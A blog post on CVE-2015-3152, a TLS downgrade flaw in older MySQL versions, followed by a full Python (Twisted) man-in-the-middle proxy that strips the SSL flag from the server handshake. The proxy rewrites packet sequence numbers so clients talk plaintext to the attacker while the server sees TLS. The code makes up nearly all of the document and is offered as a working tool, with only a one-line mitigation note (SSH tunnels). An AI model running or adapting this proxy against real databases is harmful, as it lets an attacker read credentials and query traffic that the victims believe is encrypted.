MySQL SSL Stripping

mysql-stripped

I like encryption downgrade attacks and sslstrip. I hear a lot about attacks that are based on tricking clients to accepting a false certificate but I really like attacks that are based on weaknesses in the program logic itself. Enter CVE-2015-3152 (yes it lists the CVE as reserved and doesn’t give out any info). MySQL versions 5.7.2 and lower allow clients to use TLS for encrypted communication to the server using -ssl, however it does not require it, the server (or MITM) can simply say it doesn’t support SSL. Even when setting REQUIRE SSL from the server side doesn’t help, as they MITM can establish a secure connection with the server and receive plaintext from the client. Yes this would require you to be able in inline intercept packets or dns poison the path the DB. Fix? Instead of relying  on TLS just go with SSH tunnels.

Right now here is what is vulnerable:

Update: now there is a great site up for this 😀

Big ups to Adam Goodman for the great write up at Duo.

Here is some tasty python to see this live!

import argparse
import struct
import sys

from twisted.python import log
from twisted.internet import defer, protocol, reactor, ssl
from twisted.internet.endpoints import (
    TCP4ClientEndpoint, TCP4ServerEndpoint, connectProtocol)

class BufferedProtocol(protocol.Protocol, object):
    def __init__(self):
        self._buffer_enabled = True
        self._buffer = b''
        self._deferred = None
        self._wait_length = 0

        super(BufferedProtocol, self).__init__()

    def _read_buffer(self, length):
        assert len(self._buffer) >= length

        if length == 0:
            # return the entire buffer
            data, self._buffer = self._buffer, b''
            return data
        else:
            data, self._buffer = self._buffer[:length], self._buffer[length:]
            return data

    def stop_buffering(self):
        assert self._deferred is None

        self._buffer_enabled = False

        if len(self._buffer):
            self.rawDataReceived(self._buffer)
            self._buffer = b''

    def waitfor(self, length):
        assert isinstance(length, int)
        assert self._deferred is None

        if len(self._buffer) >= length:
            return defer.succeed(self._read_buffer(length))
        else:
            self._wait_length = length
            self._deferred = defer.Deferred()
            return self._deferred

    def connectionLost(self, reason):
        log.msg('{} connection lost: {}'.format(self.__class__, reason))
        if self._deferred:
            self._deferred.errback(reason)

    def dataReceived(self, data):
        log.msg('{} received: {!r}'.format(self.__class__, data))
        if not self._buffer_enabled:
            self.rawDataReceived(data)
        else:
            self._buffer += data
            if self._deferred and len(self._buffer) >= self._wait_length:
                data = self._read_buffer(self._wait_length)
                d = self._deferred
                self._deferred = None
                self._wait_length = 0

                d.callback(data)

    def rawDataReceived(self, data):
        raise NotImplementedError()

class MySQLForwardBaseProtocol(BufferedProtocol):
    SSL_FLAG = 0x00000800

    def __init__(self, peer=None):
        self.peer = peer

        super(MySQLForwardBaseProtocol, self).__init__()

    @staticmethod
    def parse_header(packet):
        assert len(packet) >= 4
        header = packet[:4]
        (length_s, seq_id) = struct.unpack('<3sB', header)
        (length,) = struct.unpack('<L', (length_s + b'\0'))
        return length, seq_id

    @staticmethod
    def make_header(length, seq_id):
        length_s = struct.pack('<L', length)[:3]
        return struct.pack('<3sB', length_s, seq_id)

    @staticmethod
    def modify_seq(packet, delta=1):
        assert len(packet) >= 4
        (seq,) = struct.unpack('<B', packet[3])
        seq = (seq + delta) & 0xFF
        packet = packet[:3] + struct.pack('<B', seq) + packet[4:]
        return packet

    @classmethod
    def make_ssl_request(cls, client_handshake):
        # SSL handshake request is the first 32 bytes of the client
        # handshake packet, so truncate. keep the seq_id, though
        # XXX seq_id is 1 here. always.
        _length, seq_id = cls.parse_header(client_handshake)
        client_ssl_handshake = client_handshake[4:36]

        # set the SSL flag
        # XXX client capabilities flags are first 4 bytes
        cap_flags_s = client_ssl_handshake[:4]
        (cap_flags,) = struct.unpack('<I', cap_flags_s)
        cap_flags |= cls.SSL_FLAG
        cap_flags_s = struct.pack('<I', cap_flags)
        client_ssl_handshake = cap_flags_s + client_ssl_handshake[4:]

        # then add header
        header = cls.make_header(len(client_ssl_handshake), seq_id)
        return header + client_ssl_handshake

    @classmethod
    def modify_server_handshake(cls, packet):
        header, handshake = packet[:4], packet[4:]

        # XXX assume handshake packet v10
        # Find the capabilities flags field:
        # 1 byte proto version
        # nul-terminated server version
        # 4 bytes connection id
        # 8 bytes auth data
        # 1 byte filler
        # 2 bytes capabilities flags <-- our target!
        # ...
        i = handshake.index(b'\0', 1)
        cap_flags_i = i+14
        cap_flags_s = handshake[cap_flags_i:cap_flags_i+2]
        (cap_flags,) = struct.unpack('<H', cap_flags_s)

        if not (cap_flags & cls.SSL_FLAG):
            raise Exception('why are we even doing this?')

        # unset the SSL flag
        cap_flags = cap_flags ^ cls.SSL_FLAG
        cap_flags_s = struct.pack('<H', cap_flags)
        handshake = (
            handshake[:cap_flags_i] + cap_flags_s + handshake[cap_flags_i+2:])

        return (header + handshake)

    def connectionLost(self, reason):
        super(MySQLForwardBaseProtocol, self).connectionLost(reason)
        if self.peer is not None:
            self.peer.transport.loseConnection()

    def rawDataReceived(self, data):
        self.peer.transport.write(data)

    @defer.inlineCallbacks
    def read_packet(self):
        # read header length
        header = yield self.waitfor(4)
        length, _seq_id = self.parse_header(header)

        # read payload
        payload = yield self.waitfor(length)

        defer.returnValue(header + payload)

class MySQLForwardServerProtocol(MySQLForwardBaseProtocol):
    @defer.inlineCallbacks
    def connectionMade(self):
        try:
            # we'll handle all the handshake logic here
            self.peer = yield connectProtocol(
                self.factory.dest, MySQLForwardClientProtocol(self))
            server_handshake = yield self.peer.read_packet()
            server_handshake = self.peer.modify_server_handshake(
                server_handshake)
            self.transport.write(server_handshake)

            # ok, now get the client handshake
            client_handshake = yield self.read_packet()

            # use the client handshake to generate an SSL request
            ssl_request = self.make_ssl_request(client_handshake)
            self.peer.transport.write(ssl_request)
            self.peer.transport.startTLS(ssl.ClientContextFactory())

            # then send the original client handshake packet. For this
            # and the next couple packets, the server and client will
            # have different ideas of what the packet sequence IDs
            # should be (we just sent an extra packet to the server
            # and the client doesn't know about it). So every client
            # -> server packet needs to have its seq_id incremented;
            # server -> client packets need to have them decremented
            client_handshake = self.modify_seq(client_handshake, 1)
            self.peer.transport.write(client_handshake)

            # send packets back and forth until the client resets
            # the sequence numbers
            yield self.forward_until_seq_reset()

            # start forwarding traffic with no further manipulation
            self.stop_buffering()
            self.peer.stop_buffering()

        except Exception:
            self.transport.loseConnection()
            log.err()

    @defer.inlineCallbacks
    def forward_until_seq_reset(self):
        # the first packet we forward is server-to-client
        increment = -1
        source, dest = self.peer, self

        while True:
            # read packet
            next_packet = yield source.read_packet()
            _length, seq = self.parse_header(next_packet)

            # increment or decrement sequence number if it was not reset
            if seq != 0:
                next_packet = self.modify_seq(next_packet, increment)
            dest.transport.write(next_packet)

            # if sequence number was reset, we're done
            if seq == 0:
                break

            # reverse direction!
            increment = -increment
            source, dest = dest, source

class MySQLForwardClientProtocol(MySQLForwardBaseProtocol):
    pass

class MySQLForwardServerFactory(protocol.Factory):
    protocol = MySQLForwardServerProtocol

    def __init__(self, dest_host, dest_port):
        self.dest = TCP4ClientEndpoint(reactor, dest_host, dest_port)

def main():
    p = argparse.ArgumentParser()
    p.add_argument('-p', '--listen-port', type=int, default=3306)
    p.add_argument('-i', '--listen-interface', default='127.0.0.1')
    p.add_argument('dest')
    args = p.parse_args()

    if ':' in args.dest:
        dest_host, dest_port = args.dest.split(':')
        dest_port = int(dest_port)
    else:
        dest_host = args.dest
        dest_port = 3306

    log.startLogging(sys.stdout)
    log.msg('listen: {}:{}; connect: {}:{}'.format(
            args.listen_interface, args.listen_port, dest_host, dest_port))

    endpoint = TCP4ServerEndpoint(
        reactor, args.listen_port, interface=args.listen_interface)
    endpoint.listen(MySQLForwardServerFactory(dest_host, dest_port))
    reactor.run()

if __name__ == '__main__':
    main()